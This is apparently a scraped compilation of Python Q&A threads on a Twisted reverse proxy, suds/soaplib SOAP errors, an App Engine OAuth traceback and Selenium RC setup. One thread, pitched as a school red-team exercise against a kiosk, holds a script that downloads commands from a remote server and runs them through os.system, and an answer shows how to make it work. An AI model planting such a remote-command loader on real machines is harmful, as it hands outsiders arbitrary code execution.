Reverse proxy in python 3 - python

I need a simple reverse proxy for Python 3.
I like Twisted and its simple reverse http proxy (http://twistedmatrix.com/documents/14.0.1/_downloads/reverse-proxy.py) ...
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
This example demonstrates how to run a reverse proxy.
Run this example with:
$ python reverse-proxy.py
Then visit http://localhost:8080/ in your web browser.
"""
from twisted.internet import reactor
from twisted.web import proxy, server
site = server.Site(proxy.ReverseProxyResource('www.yahoo.com', 80, ''))
reactor.listenTCP(8080, site)
reactor.run()
.... but it throws error in Python 3.
Unhandled Error
Traceback (most recent call last):
File "/usr/local/lib/python3.4/dist-packages/twisted/protocols/basic.py", line 571, in dataReceived
why = self.lineReceived(line)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/http.py", line 1752, in lineReceived
self.allContentReceived()
File "/usr/local/lib/python3.4/dist-packages/twisted/web/http.py", line 1845, in allContentReceived
req.requestReceived(command, path, version)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/http.py", line 766, in requestReceived
self.process()
--- <exception caught here> ---
File "/usr/local/lib/python3.4/dist-packages/twisted/web/server.py", line 185, in process
resrc = self.site.getResourceFor(self)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/server.py", line 791, in getResourceFor
return resource.getChildForRequest(self.resource, request)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/resource.py", line 98, in getChildForRequest
resource = resource.getChildWithDefault(pathElement, request)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/resource.py", line 201, in getChildWithDefault
return self.getChild(path, request)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/proxy.py", line 278, in getChild
self.host, self.port, self.path + b'/' + urlquote(path, safe=b"").encode('utf-8'),
builtins.TypeError: Can't convert 'bytes' object to str implicitly
Is there something similar that works in python 3?

Having stumbled into this problem myself, I was disappointed to find no answer here. After some digging, I was able to get it working by changing the path argument in proxy.ReverseProxyResource to bytes rather than str, rendering the following line:
site = server.Site(proxy.ReverseProxyResource("www.yahoo.com", 80, b''))
This is necessary because twisted appends a trailing slash as bytes (ie b'/') internally.

I found this simple package on pypi, it seems to be working well and it is similarly simple.
https://pypi.python.org/pypi/maproxy

Related

python read and run commands from a remote text file

I have a script that is supposed to read a text file from a remote server, and then execute whatever is in the txt file.
For example, if the text file has the command: "ls". The computer will run the command and list directory.
Also, pls don't suggest using urllib2 or whatever. I want to stick with python3.x
As soon as i run it i get this error:
Traceback (most recent call last):
File "test.py", line 4, in <module>
data = urllib.request.urlopen(IP_Address)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 222, in urlopen
return opener.open(url, data, timeout)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 509, in open
req = Request(fullurl, data)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 328, in __init__
self.full_url = url
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 354, in full_url
self._parse()
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 383, in _parse
raise ValueError("unknown url type: %r" % self.full_url) ValueError: unknown url type: 'domain.com/test.txt'
Here is my code:
import urllib.request
IP_Address = "domain.com/test.txt"
data = urllib.request.urlopen(IP_Address)
for line in data:
print("####")
os.system(line)
Edit:
yes i realize this is a bad idea. It is a school project, we are playing red team and we are supposed to get access to a kiosk. I figured instead of writing code that will try and get around intrusion detection and firewalls, it would just be easier to execute commands from a remote server. Thanks for the help everyone!
The error occurs because your url does not include a protocol. Include "http://" (or https if you're using ssl/tls) and it should work.
As others have commented, this is a dangerous thing to do since someone could run arbitrary commands on your system this way.
Try
“http://localhost/domain.com/test.txt"
Or remote address
If local host need to run http server

Error in python webservice client using suds

Im using python 2.7 and suds 0.4 in windows and linux and in both cases I get the same error when calling a method of a web service:
Traceback (most recent call last):
File "wsclient.py", line 23, in <module>
client.service.Echo()
File "build\bdist.win32\egg\suds\client.py", line 542, in __call__
File "build\bdist.win32\egg\suds\client.py", line 602, in invoke
File "build\bdist.win32\egg\suds\client.py", line 643, in send
File "build\bdist.win32\egg\suds\client.py", line 678, in succeeded
File "build\bdist.win32\egg\suds\bindings\binding.py", line 149, in get_reply
AttributeError: 'NoneType' object has no attribute 'promotePrefixes'
My code is really simple:
import suds.bindings
suds.bindings.binding.envns = ('SOAP-ENV', 'http://www.w3.org/2003/05/soap-envelope')
from suds.client import Client
url = 'http://servicios.publipayments.com/ServicioDW.svc?wsdl'
client = Client(url)
print client
client.service.Echo()
As you can see I already did what the author of suds suggest here and also did the logging in here. But the result is the same.
Any ideas will be appreciated.
Regards.
My understanding about web services was not good enough and the service implementation is using http for exposing the wsdl AND https for the service endpoint.
So after a helpful hint of the service author I declared the client as:
client = Client('http://someUrl?wsdl',
location='https://someUrl/Service.svc')
And that solved the problem. There was nothing bad with suds.

Internal Server Error in Web App: Google Latitude API in Google App Engine using Python

I am new to python and Google App Engine. I am currently working on a location based web application, I have used the following sample code http://code.google.com/p/latitudesample/
I was able to run the program in the localhost, however when I deploy the program and try to access the website I get an Internal Server Error Message.
I check the App Engine log file and it is as follows:
argument 2 to map() must support iteration
Traceback (most recent call last):File"/base/python_runtime/python_lib/versions/1/google/appengine/ext/webapp/__init__.py", line 700, in __call__
handler.get(*groups)
File "/base/data/home/apps/s~latitudesocial/1.351807357650160822/main.py", line 57, in get
self.request.host_url + OAUTH_CALLBACK_PATH, parameters)
File "/base/data/home/apps/s~latitudesocial/1.351807357650160822/oauth_webapp.py", line 28, in redirect_to_authorization_page
request_token = helper.GetRequestToken(callback_url, parameters)
File "/base/data/home/apps/s~latitudesocial/1.351807357650160822/oauth_appengine.py", line 78, in GetRequestToken
None)
File "/base/data/home/apps/s~latitudesocial/1.351807357650160822/oauth.py", line 262, in sign_request
self.build_signature(signature_method, consumer, token))
File "/base/data/home/apps/s~latitudesocial/1.351807357650160822/oauth.py", line 266, in build_signature
return signature_method.build_signature(self, consumer, token)
File "/base/data/home/apps/s~latitudesocial/1.351807357650160822/oauth.py", line 632, in build_signature
oauth_request, consumer, token)
File "/base/data/home/apps/s~latitudesocial/1.351807357650160822/oauth.py", line 623, in build_signature_base_string
key = '%s&' % escape(consumer.secret)
File "/base/data/home/apps/s~latitudesocial/1.351807357650160822/oauth.py", line 50, in escape
return urllib.quote(s, safe='~')
File "/base/python_runtime/python_dist/lib/python2.5/urllib.py", line 1214, in quote
res = map(safe_map.__getitem__, s)
TypeError: argument 2 to map() must support iteration
I have been trying to figure this out myself, but I have made no progress so far.
I am guessing there is something wrong with line 623 in oauth.py
If you could, please help me locate the error.
$key = '%s&' % escape(consumer.secret)
The change I've made to the main.py is:
class SetMyOauth(webapp.RequestHandler):
def get(self):
Config.set('oauth_consumer_key', 'myconsumerkey'),
Config.set('oauth_consumer_secret', 'myconsumersecret'),
self.response.out.write ("""key and secret set""")
(Update 17/7/2011)
Upon further inquiry I came across the following error when running the debugger
C:\Python25\lib\threading.py:699: RuntimeWarning: tp_compare didn't return -1 or -2 for exception
return _active[_get_ident()]
Exception exceptions.SystemError: 'error return without exception set' in <generator object at 0x03C41378> ignored
and it highlighted the following piece of code:
def escape(s):
"""Escape a URL including any /."""
return urllib.quote(s, safe='~')
which is the same code that is logged in the log file.
However when I run the code in using the development server the application works fine with no errors.

Selenium in Python

I've been using urllib2 to access webpages, but it doesn't support javascript, so I took a look at Selenium, but I'm quite confused even having read its docs.
I downloaded Selenium IDE add-on for firefox and I tried some simple things.
from selenium import selenium
import unittest, time, re
class test(unittest.TestCase):
def setUp(self):
self.verificationErrors = []
self.selenium = selenium("localhost", 4444, "*chrome", "http://www.wikipedia.org/")
self.selenium.start()
def test_test(self):
sel = self.selenium
sel.open("/")
sel.type("searchInput", "pacific ocean")
sel.click("go")
sel.wait_for_page_to_load("30000")
def tearDown(self):
self.selenium.stop()
self.assertEqual([], self.verificationErrors)
if __name__ == "__main__":
unittest.main()
I just access wikipedia.org and type pacific ocean in the search field, but when I try to compile it, it gives me a lot of errors.
If running the script results in a [Errno 111] Connection refused error such as this:
% test.py
E
======================================================================
ERROR: test_test (__main__.test)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/home/unutbu/pybin/test.py", line 11, in setUp
self.selenium.start()
File "/data1/unutbu/pybin/selenium.py", line 189, in start
result = self.get_string("getNewBrowserSession", [self.browserStartCommand, self.browserURL, self.extensionJs])
File "/data1/unutbu/pybin/selenium.py", line 219, in get_string
result = self.do_command(verb, args)
File "/data1/unutbu/pybin/selenium.py", line 207, in do_command
conn.request("POST", "/selenium-server/driver/", body, headers)
File "/usr/lib/python2.6/httplib.py", line 898, in request
self._send_request(method, url, body, headers)
File "/usr/lib/python2.6/httplib.py", line 935, in _send_request
self.endheaders()
File "/usr/lib/python2.6/httplib.py", line 892, in endheaders
self._send_output()
File "/usr/lib/python2.6/httplib.py", line 764, in _send_output
self.send(msg)
File "/usr/lib/python2.6/httplib.py", line 723, in send
self.connect()
File "/usr/lib/python2.6/httplib.py", line 704, in connect
self.timeout)
File "/usr/lib/python2.6/socket.py", line 514, in create_connection
raise error, msg
error: [Errno 111] Connection refused
----------------------------------------------------------------------
Ran 1 test in 0.063s
FAILED (errors=1)
then the solution is most likely that you need get the selenium server running first.
In the download for SeleniumRC you will find a file called selenium-server.jar (as of a few months ago, that file was located at SeleniumRC/selenium-server-1.0.3/selenium-server.jar).
On Linux, you could run the selenium server in the background with the command
java -jar /path/to/selenium-server.jar 2>/dev/null 1>&2 &
You will find more complete instructions on how to set up the server here.
I would suggest you to use a webdriver, you can find it here: http://code.google.com/p/selenium/downloads/list. If you want to write tests as a coder (and not with the use of your mouse), that thing would work better then the RC version you're trying to use, at least because it would not ask you for an SeleniumRC Jar Instance. You would simply have a binary of a browser or use those ones that are already installed on your system, for example, Firefox.
I faced with this issue in my project and found that problem was in few webdriver.get calls with very small time interval between them. My fix was not to put delay, just remove unneeded calls and error disappears.
Hope, it can helps for somebody.

Python soap using soaplib (server) and suds (client)

This question is related to:
Python SOAP server / client
In the case of soap with python, there are recommendation to use soaplib (http://wiki.github.com/jkp/soaplib) as soap server and suds (https://fedorahosted.org/suds/) as soap client.
My target is to create soap services in python that can be consumed by several clients (java, etc).
I tried the HelloWorld example from soaplib (http://trac.optio.webfactional.com/wiki/HelloWorld).
It works well when the client is also using soaplib.
Then, I tried to use suds as client consuming the HelloWorld services and it fail.
-Why this is happening? Does soaplib server has problems to consumed by different clients?
Here the code for the server:
from soaplib.wsgi_soap import SimpleWSGISoapApp
from soaplib.service import soapmethod
from soaplib.serializers.primitive import String, Integer, Arraycode
class HelloWorldService(SimpleWSGISoapApp):
#soapmethod(String,Integer,_returns=Array(String))
def say_hello(self,name,times):
results = []
for i in range(0,times):
results.append('Hello, %s'%name)
return results
if __name__=='__main__':
from cherrypy.wsgiserver import CherryPyWSGIServer
#from cherrypy._cpwsgiserver import CherryPyWSGIServer
# this example uses CherryPy2.2, use cherrypy.wsgiserver.CherryPyWSGIServer for CherryPy 3.0
server = CherryPyWSGIServer(('localhost',7789),HelloWorldService())
server.start()
This is the soaplib client:
from soaplib.client import make_service_client
from SoapServerTest_1 import HelloWorldService
client = make_service_client('http://localhost:7789/',HelloWorldService())
print client.say_hello("Dave",5)
Results:
>>> ['Hello, Dave', 'Hello, Dave', 'Hello, Dave', 'Hello, Dave', 'Hello, Dave']
This is the suds client:
from suds.client import Client
url = 'http://localhost:7789/HelloWordService?wsdl'
client1 = Client(url)
client1.service.say_hello("Dave",5)
Results:
>>> Unhandled exception while debugging...
Traceback (most recent call last):
File "C:\Python25\Lib\site-packages\RTEP\Sequencing\SoapClientTest_1.py", line 10, in <module>
client1.service.say_hello("Dave",5)
File "c:\python25\lib\site-packages\suds\client.py", line 537, in __call__
return client.invoke(args, kwargs)
File "c:\python25\lib\site-packages\suds\client.py", line 597, in invoke
result = self.send(msg)
File "c:\python25\lib\site-packages\suds\client.py", line 626, in send
result = self.succeeded(binding, reply.message)
File "c:\python25\lib\site-packages\suds\client.py", line 658, in succeeded
r, p = binding.get_reply(self.method, reply)
File "c:\python25\lib\site-packages\suds\bindings\binding.py", line 158, in get_reply
result = unmarshaller.process(nodes[0], resolved)
File "c:\python25\lib\site-packages\suds\umx\typed.py", line 66, in process
return Core.process(self, content)
File "c:\python25\lib\site-packages\suds\umx\core.py", line 48, in process
return self.append(content)
File "c:\python25\lib\site-packages\suds\umx\core.py", line 63, in append
self.append_children(content)
File "c:\python25\lib\site-packages\suds\umx\core.py", line 140, in append_children
cval = self.append(cont)
File "c:\python25\lib\site-packages\suds\umx\core.py", line 61, in append
self.start(content)
File "c:\python25\lib\site-packages\suds\umx\typed.py", line 77, in start
found = self.resolver.find(content.node)
File "c:\python25\lib\site-packages\suds\resolver.py", line 341, in find
frame = Frame(result, resolved=known, ancestry=ancestry)
File "c:\python25\lib\site-packages\suds\resolver.py", line 473, in __init__
resolved = type.resolve()
File "c:\python25\lib\site-packages\suds\xsd\sxbasic.py", line 63, in resolve
raise TypeNotFound(qref)
TypeNotFound: Type not found: '(string, HelloWorldService.HelloWorldService, )'
try to import primitives into your class:
class HelloWorldService(SimpleWSGISoapApp):
from soaplib.serializers.primitive import String, Integer, Arraycode
#soapmethod(String,Integer,_returns=Array(String))
this bug is fixed if you get the latest sources from the trunk, see https://github.com/soaplib/soaplib/pull/12 for details

Categories

Resources